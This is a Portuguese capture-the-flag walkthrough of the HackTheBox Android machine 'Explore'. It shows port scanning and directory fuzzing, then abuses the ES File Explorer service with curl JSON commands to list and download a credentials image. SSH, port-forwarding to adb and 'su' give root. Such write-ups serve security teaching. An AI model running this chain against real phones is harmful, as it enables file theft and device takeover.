6 minutos
HackTheBox - Explore
Esta é a primeira máquina Android do HackTheBox. Depois de muitas máquinas com sistemas operacionais, como Linux e Windows, o HTB disponibilizou uma que possui sistema operacional para dispositivos mobile. É bem interessante que isto ocorra, porque também existe pentest para este sistema e a forma de encontrar suas vulnerabilidades será a mesma utilizada em outros sistemas operacionais. Tudo começa com uma enumeração e identificação dos serviços ou aplicativos encontrados. A diferença, neste caso, é a ferramenta usada para acessar o dispositivo.
Informações da Máquina
IP: 10.129.79.156
Sistema Operacional: Android
Nível de dificuldade: Easy
Varredura e Enumeração
Port Scan
Iniciando um scan completo em todas as portas TCP abertas no host com nmap:
# Nmap 7.91 scan initiated Mon Jun 28 20:41:26 2021 as: nmap -vvv -sC -sV -p 2222,42135,45107,59777 --open -Pn -oN details.txt 10.129.79.156
Nmap scan report for 10.129.79.156
Host is up, received user-set (0.33s latency).
Scanned at 2021-06-28 20:41:27 -03 for 115s
PORT STATE SERVICE REASON VERSION
2222/tcp open ssh syn-ack ttl 63 (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey:
| 2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqK2WZkEVE0CPTPpWoyDKZkHVrmffyDgcNNVK3PkamKs3M8tyqeFBivz4o8i9Ai8UlrVZ8mztI3qb+cHCdLMDpaO0ghf/50qYVGH4gU5vuVN0tbBJAR67ot4U+7WCcdh4sZHX5NNatyE36wpKj9t7n2XpEmIYda4CEIeUOy2Mm3Es+GD0AAUl8xG4uMYd2rdrJrrO1p15PO97/1ebsTH6SgFz3qjZvSirpom62WmmMbfRvJtNFiNJRydDpJvag2urk16GM9a0buF4h1JCGwMHxpSY05aKQLo8shdb9SxJRa9lMu3g2zgiDAmBCoKjsiPnuyWW+8G7Vz7X6nJC87KpL
42135/tcp open http syn-ack ttl 63 ES File Explorer Name Response httpd
|_http-title: Site doesn't have a title (text/html).
45107/tcp open unknown syn-ack ttl 63
| fingerprint-strings:
| GenericLines:
| HTTP/1.0 400 Bad Request
| Date: Mon, 28 Jun 2021 23:41:32 GMT
| Content-Length: 22
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| GetRequest:
| HTTP/1.1 412 Precondition Failed
| Date: Mon, 28 Jun 2021 23:41:32 GMT
| Content-Length: 0
| HTTPOptions:
| HTTP/1.0 501 Not Implemented
| Date: Mon, 28 Jun 2021 23:41:38 GMT
| Content-Length: 29
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Method not supported: OPTIONS
| Help:
| HTTP/1.0 400 Bad Request
| Date: Mon, 28 Jun 2021 23:41:55 GMT
| Content-Length: 26
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line: HELP
| RTSPRequest:
| HTTP/1.0 400 Bad Request
| Date: Mon, 28 Jun 2021 23:41:39 GMT
| Content-Length: 39
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| valid protocol version: RTSP/1.0
| SSLSessionReq:
| HTTP/1.0 400 Bad Request
| Date: Mon, 28 Jun 2021 23:41:55 GMT
| Content-Length: 73
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| ?G???,???`~?
| ??{????w????<=?o?
| TLSSessionReq:
| HTTP/1.0 400 Bad Request
| Date: Mon, 28 Jun 2021 23:41:56 GMT
| Content-Length: 71
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| ??random1random2random3random4
| TerminalServerCookie:
| HTTP/1.0 400 Bad Request
| Date: Mon, 28 Jun 2021 23:41:55 GMT
| Content-Length: 54
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
|_ Cookie: mstshash=nmap
59777/tcp open http syn-ack ttl 63 Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2222-TCP:V=7.91%I=7%D=6/28%Time=60DA5E2E%P=x86_64-pc-linux-gnu%r(NU
SF:LL,24,"SSH-2\.0-SSH\x20Server\x20-\x20Banana\x20Studio\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port45107-TCP:V=7.91%I=7%D=6/28%Time=60DA5E2E%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,AA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Mon,\x20
SF:28\x20Jun\x202021\x2023:41:32\x20GMT\r\nContent-Length:\x2022\r\nConten
SF:t-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\
SF:r\nInvalid\x20request\x20line:\x20")%r(GetRequest,5C,"HTTP/1\.1\x20412\
SF:x20Precondition\x20Failed\r\nDate:\x20Mon,\x2028\x20Jun\x202021\x2023:4
SF:1:32\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,B5,"HTTP/1\
SF:.0\x20501\x20Not\x20Implemented\r\nDate:\x20Mon,\x2028\x20Jun\x202021\x
SF:2023:41:38\x20GMT\r\nContent-Length:\x2029\r\nContent-Type:\x20text/pla
SF:in;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r\nMethod\x20not\x2
SF:0supported:\x20OPTIONS")%r(RTSPRequest,BB,"HTTP/1\.0\x20400\x20Bad\x20R
SF:equest\r\nDate:\x20Mon,\x2028\x20Jun\x202021\x2023:41:39\x20GMT\r\nCont
SF:ent-Length:\x2039\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r
SF:\nConnection:\x20Close\r\n\r\nNot\x20a\x20valid\x20protocol\x20version:
SF:\x20\x20RTSP/1\.0")%r(Help,AE,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDa
SF:te:\x20Mon,\x2028\x20Jun\x202021\x2023:41:55\x20GMT\r\nContent-Length:\
SF:x2026\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection
SF::\x20Close\r\n\r\nInvalid\x20request\x20line:\x20HELP")%r(SSLSessionReq
SF:,DD,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Mon,\x2028\x20Jun\x
SF:202021\x2023:41:55\x20GMT\r\nContent-Length:\x2073\r\nContent-Type:\x20
SF:text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r\nInvalid\
SF:x20request\x20line:\x20\x16\x03\0\0S\x01\0\0O\x03\0\?G\?\?\?,\?\?\?`~\?
SF:\0\?\?{\?\?\?\?w\?\?\?\?<=\?o\?\x10n\0\0\(\0\x16\0\x13\0")%r(TerminalSe
SF:rverCookie,CA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Mon,\x202
SF:8\x20Jun\x202021\x2023:41:55\x20GMT\r\nContent-Length:\x2054\r\nContent
SF:-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r
SF:\nInvalid\x20request\x20line:\x20\x03\0\0\*%\?\0\0\0\0\0Cookie:\x20msts
SF:hash=nmap")%r(TLSSessionReq,DB,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nD
SF:ate:\x20Mon,\x2028\x20Jun\x202021\x2023:41:56\x20GMT\r\nContent-Length:
SF:\x2071\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnectio
SF:n:\x20Close\r\n\r\nInvalid\x20request\x20line:\x20\x16\x03\0\0i\x01\0\0
SF:e\x03\x03U\x1c\?\?random1random2random3random4\0\0\x0c\0/\0");
Service Info: Device: phone
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 28 20:43:22 2021 -- 1 IP address (1 host up) scanned in 116.23 seconds
O resultado do nmap já entrega um serviço suspeito rodando na porta 54107, o ‘ES File Explorer’. Este é o nome de um conhecido navegador de arquivos para Android.
Diretórios e arquivos
Continuando com a enumeração, podemos visualizar os diretórios do dispositivo com o wfuzz.
wfuzz -c -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hc 404,400 http://10.129.79.156:59777/FUZZ
Saída do comando.
000000157: 301 0 L 3 W 71 Ch "product"
000000182: 301 0 L 3 W 65 Ch "data"
000000334: 301 0 L 3 W 59 Ch "d"
000000482: 301 0 L 3 W 71 Ch "storage"
000000483: 301 0 L 3 W 63 Ch "bin"
000000706: 301 0 L 3 W 69 Ch "system"
000000721: 301 0 L 3 W 63 Ch "lib"
000000834: 301 0 L 3 W 63 Ch “dev”
000001083: 301 0 L 3 W 67 Ch "cache"
000001411: 301 0 L 3 W 63 Ch "etc"
000001481: 301 0 L 3 W 69 Ch "vendor"
000001490: 301 0 L 3 W 69 Ch "config"
000002524: 301 0 L 3 W 63 Ch "oem"
000003790: 403 0 L 4 W 32 Ch "%20"
000004201: 301 0 L 3 W 63 Ch "sys"
O sdcard é o diretório de armazenamento interno do Android e nele foi feito um scan em busca de algum arquivo de texto ou outro arquivo que seja útil.
wfuzz -c -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hc 404,400 http://10.129.79.156:59777/sdcard/FUZZ.txt
Saída do comando.
000000125: 200 1 L 1 W 33 Ch "user"
O resultado acima nos mostra a primeira flag, a do user.txt.
Vulnerabilidade
O nmap mostrou que o aplicativo ‘ES File Explorer’ está ouvindo na porta 42135, então uma busca foi feita para encontrar algum exploit.
O resultado da pesquisa mostra este artigo mostrando como executar comandos com o curl para obter informações do ‘ES File Explorer’.
O mesmo pode ser feito com este exploit em Python.
Exploração
O comando curl fará a requisição ao IP e porta localizados no nmap, mas enviará também o comando esperado pelo ‘ES File Explorer’. Abaixo o comando ‘getDeviceInfo’ foi enviado para obter informações do dispositivo.
O ES pode receber vários outros comandos, como mostrado a seguir.
Depois de testar alguns comandos da listagem acima, uma imagem suspeita foi localizada com o comando ‘listPics’.
curl --header "Content-Type: application/json" --request POST --data '{"command":"listPics"}' http://10.129.79.156:59777
Analisando os arquivos de imagem encontrados, o mais suspeito é o creds.jpg.
{"name":"creds.jpg", "time":"4/21/21 02:38:18 AM", "location":"/storage/emulated/0/DCIM/creds.jpg", "size":"1.14 MB (1,200,401 Bytes)", },
Baixando a imagem.
wget http://10.129.79.156:59777/storage/emulated/0/DCIM/creds.jpg
Ao abrir a imagem surge uma credencial, que será utilizada para acessar o dispositivo.
Com esta credencial já é possível acessar o SSH no dispositivo.
Após enumerar diretórios é necessário também verificar as portas locais abertas no dispositivo.
Foi encontrada a porta 5555 aberta e para poder acessá-la desde a máquina local um SSH port-forwarding foi feito.
ssh -L 5555:127.0.0.1:5555 kristi@10.129.79.156 -p 2222
Escalação de Privilégios
Tendo a porta 5555 do dispositivo aberta localmente, é possível conectar-se utilizando o adb.
Instalando o adb.
sudo apt install adb
Conectando na porta 5555 localmente com adb e obtendo uma shell de usuário.
Uma vez conectado basta rodar o ‘su’ no terminal para obter a shell do root.
su
Listando os arquivos em modo root.
Dentro do diretório ‘data’ encontra-se a flag do root.
Até a próxima!